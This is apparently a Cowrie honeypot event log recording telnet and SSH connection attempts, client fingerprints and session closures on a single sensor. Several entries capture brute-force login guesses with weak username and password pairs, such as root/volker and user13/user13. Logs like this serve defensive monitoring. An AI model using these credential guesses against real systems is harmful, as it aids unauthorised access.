{"eventid":"cowrie.session.closed","duration":30.896458625793457,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:40:17.040708Z","src_ip":"107.155.66.219","session":"27d2b035b075","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.33828854560852,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:40:18.058207Z","src_ip":"107.155.66.219","session":"99dbf793aba8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"15.2","message":"Connection lost after 15.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:40:18.162644Z","src_ip":"213.209.159.158","session":"1f18b30dd33e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"107.155.66.219","src_port":54076,"dst_ip":"159.203.135.109","dst_port":23,"session":"4eb9aab69955","protocol":"telnet","message":"New connection: 107.155.66.219:54076 (159.203.135.109:23) [session: 4eb9aab69955]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:40:18.225378Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.158","src_port":53510,"dst_ip":"159.203.135.109","dst_port":22,"session":"bfbd6ecb2e36","protocol":"ssh","message":"New connection: 213.209.159.158:53510 (159.203.135.109:22) [session: bfbd6ecb2e36]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:40:18.264528Z"}
{"eventid":"cowrie.session.connect","src_ip":"107.155.66.219","src_port":54078,"dst_ip":"159.203.135.109","dst_port":23,"session":"9ec8dbdc6c82","protocol":"telnet","message":"New connection: 107.155.66.219:54078 (159.203.135.109:23) [session: 9ec8dbdc6c82]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:40:18.652778Z"}
{"eventid":"cowrie.session.closed","duration":30.834064722061157,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:40:19.029962Z","src_ip":"107.155.66.219","session":"2992a65f821f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.944443941116333,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:40:20.196276Z","src_ip":"68.178.160.252","session":"7aafb66af4a9","protocol":"telnet"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:40:20.392624Z","src_ip":"213.209.159.158","session":"bfbd6ecb2e36","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:40:20.396717Z","src_ip":"213.209.159.158","session":"bfbd6ecb2e36","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.72708010673523,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:40:22.196387Z","src_ip":"68.178.160.252","session":"cf6202de0169","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.725616931915283,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:40:22.217417Z","src_ip":"68.178.160.252","session":"2559e59ad2a5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.531437873840332,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:40:23.028435Z","src_ip":"107.155.66.219","session":"d76c9afd1b6f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"68.178.160.252","src_port":48212,"dst_ip":"159.203.135.109","dst_port":23,"session":"d45d6db884ff","protocol":"telnet","message":"New connection: 68.178.160.252:48212 (159.203.135.109:23) [session: d45d6db884ff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:40:23.705287Z"}
{"eventid":"cowrie.session.closed","duration":30.909409046173096,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:40:24.058022Z","src_ip":"107.155.66.219","session":"b10b9e9eccd6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"107.155.66.219","src_port":54094,"dst_ip":"159.203.135.109","dst_port":23,"session":"9c6b8e603470","protocol":"telnet","message":"New connection: 107.155.66.219:54094 (159.203.135.109:23) [session: 9c6b8e603470]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:40:25.531413Z"}
{"eventid":"cowrie.session.closed","duration":30.279003620147705,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:40:26.022762Z","src_ip":"107.155.66.219","session":"b72c4bfcb413","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.355388164520264,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:40:26.114524Z","src_ip":"62.171.135.55","session":"1ee883ffb7c9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"107.155.66.219","src_port":38768,"dst_ip":"159.203.135.109","dst_port":23,"session":"8be4a1f000b9","protocol":"telnet","message":"New connection: 107.155.66.219:38768 (159.203.135.109:23) [session: 8be4a1f000b9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:40:26.307279Z"}
{"eventid":"cowrie.session.connect","src_ip":"107.155.66.219","src_port":38778,"dst_ip":"159.203.135.109","dst_port":23,"session":"fdfcaef9c173","protocol":"telnet","message":"New connection: 107.155.66.219:38778 (159.203.135.109:23) [session: fdfcaef9c173]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:40:26.923541Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"volker","message":"login attempt [root/volker] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:40:29.418756Z","src_ip":"213.209.159.158","session":"bfbd6ecb2e36","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.50629425048828,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:40:31.031895Z","src_ip":"107.155.66.219","session":"541d246f0242","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.400163650512695,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:40:31.076042Z","src_ip":"107.155.66.219","session":"087dbf1d5cb7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"68.178.160.252","src_port":51680,"dst_ip":"159.203.135.109","dst_port":23,"session":"eaaa44512518","protocol":"telnet","message":"New connection: 68.178.160.252:51680 (159.203.135.109:23) [session: eaaa44512518]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:40:31.160454Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":37990,"dst_ip":"159.203.135.109","dst_port":22,"session":"4e00f14fd13a","protocol":"ssh","message":"New connection: 159.203.92.129:37990 (159.203.135.109:22) [session: 4e00f14fd13a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:40:31.755734Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:40:31.760635Z","src_ip":"159.203.92.129","session":"4e00f14fd13a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:40:31.768272Z","src_ip":"159.203.92.129","session":"4e00f14fd13a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ansible","password":"o123456","message":"login attempt [ansible/o123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:40:31.801387Z","src_ip":"159.203.92.129","session":"4e00f14fd13a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.549980640411377,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:40:32.096565Z","src_ip":"107.155.66.219","session":"4a9a25289e5d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:40:32.811423Z","src_ip":"159.203.92.129","session":"4e00f14fd13a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"14.6","message":"Connection lost after 14.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:40:32.900337Z","src_ip":"213.209.159.158","session":"bfbd6ecb2e36","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.158","src_port":26842,"dst_ip":"159.203.135.109","dst_port":22,"session":"fa392163ff26","protocol":"ssh","message":"New connection: 213.209.159.158:26842 (159.203.135.109:22) [session: fa392163ff26]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:40:32.980701Z"}
{"eventid":"cowrie.session.connect","src_ip":"107.155.66.219","src_port":38782,"dst_ip":"159.203.135.109","dst_port":23,"session":"64e7345ea567","protocol":"telnet","message":"New connection: 107.155.66.219:38782 (159.203.135.109:23) [session: 64e7345ea567]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:40:33.166729Z"}
{"eventid":"cowrie.session.connect","src_ip":"107.155.66.219","src_port":38792,"dst_ip":"159.203.135.109","dst_port":23,"session":"c53030bb8b00","protocol":"telnet","message":"New connection: 107.155.66.219:38792 (159.203.135.109:23) [session: c53030bb8b00]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:40:33.253931Z"}
{"eventid":"cowrie.session.closed","duration":30.790770292282104,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:40:34.081939Z","src_ip":"107.155.66.219","session":"486916748477","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.606088638305664,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:40:35.033387Z","src_ip":"107.155.66.219","session":"0db4e87e4d3b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.96330189704895,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:40:35.052987Z","src_ip":"107.155.66.219","session":"30981ea29c66","protocol":"telnet"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:40:35.114532Z","src_ip":"213.209.159.158","session":"fa392163ff26","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:40:35.118830Z","src_ip":"213.209.159.158","session":"fa392163ff26","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.9097797870636,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:40:35.288387Z","src_ip":"68.178.160.252","session":"4436e0c09fd2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"107.155.66.219","src_port":57652,"dst_ip":"159.203.135.109","dst_port":23,"session":"5d65f11d7308","protocol":"telnet","message":"New connection: 107.155.66.219:57652 (159.203.135.109:23) [session: 5d65f11d7308]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:40:37.104450Z"}
{"eventid":"cowrie.session.closed","duration":30.967512845993042,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:40:37.165939Z","src_ip":"68.178.160.252","session":"bc3c298b6a11","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.315566062927246,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:40:37.179834Z","src_ip":"62.171.135.55","session":"be30dfeef5ac","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"107.155.66.219","src_port":57660,"dst_ip":"159.203.135.109","dst_port":23,"session":"1748e0174127","protocol":"telnet","message":"New connection: 107.155.66.219:57660 (159.203.135.109:23) [session: 1748e0174127]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:40:38.069397Z"}
{"eventid":"cowrie.session.connect","src_ip":"107.155.66.219","src_port":57670,"dst_ip":"159.203.135.109","dst_port":23,"session":"3329d1a12332","protocol":"telnet","message":"New connection: 107.155.66.219:57670 (159.203.135.109:23) [session: 3329d1a12332]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:40:38.988406Z"}
{"eventid":"cowrie.session.connect","src_ip":"107.155.66.219","src_port":57672,"dst_ip":"159.203.135.109","dst_port":23,"session":"990c67e419ea","protocol":"telnet","message":"New connection: 107.155.66.219:57672 (159.203.135.109:23) [session: 990c67e419ea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:40:39.308832Z"}
{"eventid":"cowrie.session.connect","src_ip":"107.155.66.219","src_port":57684,"dst_ip":"159.203.135.109","dst_port":23,"session":"92886c18e427","protocol":"telnet","message":"New connection: 107.155.66.219:57684 (159.203.135.109:23) [session: 92886c18e427]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:40:39.584759Z"}
{"eventid":"cowrie.session.closed","duration":30.930306673049927,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:40:40.038228Z","src_ip":"107.155.66.219","session":"d19663aae1c7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.23107099533081,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:40:40.044537Z","src_ip":"107.155.66.219","session":"d582f0d4ec8d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"107.155.66.219","src_port":57698,"dst_ip":"159.203.135.109","dst_port":23,"session":"2b04a23243a1","protocol":"telnet","message":"New connection: 107.155.66.219:57698 (159.203.135.109:23) [session: 2b04a23243a1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:40:40.308337Z"}
{"eventid":"cowrie.session.connect","src_ip":"43.159.177.40","src_port":59500,"dst_ip":"159.203.135.109","dst_port":22,"session":"844c3da4f875","protocol":"ssh","message":"New connection: 43.159.177.40:59500 (159.203.135.109:22) [session: 844c3da4f875]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:40:40.464963Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:40:40.475050Z","src_ip":"43.159.177.40","session":"844c3da4f875","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:40:40.540303Z","src_ip":"43.159.177.40","session":"844c3da4f875","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user13","password":"user13","message":"login attempt [user13/user13] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:40:40.807773Z","src_ip":"43.159.177.40","session":"844c3da4f875","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"107.155.66.219","src_port":57702,"dst_ip":"159.203.135.109","dst_port":23,"session":"733060d305df","protocol":"telnet","message":"New connection: 107.155.66.219:57702 (159.203.135.109:23) [session: 733060d305df]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:40:41.289183Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:40:41.883579Z","src_ip":"43.159.177.40","session":"844c3da4f875","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"107.155.66.219","src_port":57718,"dst_ip":"159.203.135.109","dst_port":23,"session":"541eb694e9ca","protocol":"telnet","message":"New connection: 107.155.66.219:57718 (159.203.135.109:23) [session: 541eb694e9ca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:40:42.135130Z"}
{"eventid":"cowrie.session.connect","src_ip":"107.155.66.219","src_port":57724,"dst_ip":"159.203.135.109","dst_port":23,"session":"b52967196f9d","protocol":"telnet","message":"New connection: 107.155.66.219:57724 (159.203.135.109:23) [session: b52967196f9d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:40:42.162012Z"}
{"eventid":"cowrie.session.connect","src_ip":"107.155.66.219","src_port":57726,"dst_ip":"159.203.135.109","dst_port":23,"session":"7d51d2b80c17","protocol":"telnet","message":"New connection: 107.155.66.219:57726 (159.203.135.109:23) [session: 7d51d2b80c17]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:40:43.234562Z"}
{"eventid":"cowrie.session.closed","duration":30.847745418548584,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:40:44.028097Z","src_ip":"107.155.66.219","session":"18b08f4be5d9","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"voyages","message":"login attempt [root/voyages] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:40:44.669575Z","src_ip":"213.209.159.158","session":"fa392163ff26","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.857402324676514,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:40:45.053927Z","src_ip":"107.155.66.219","session":"7b5ac179ecd7","protocol":"telnet"}
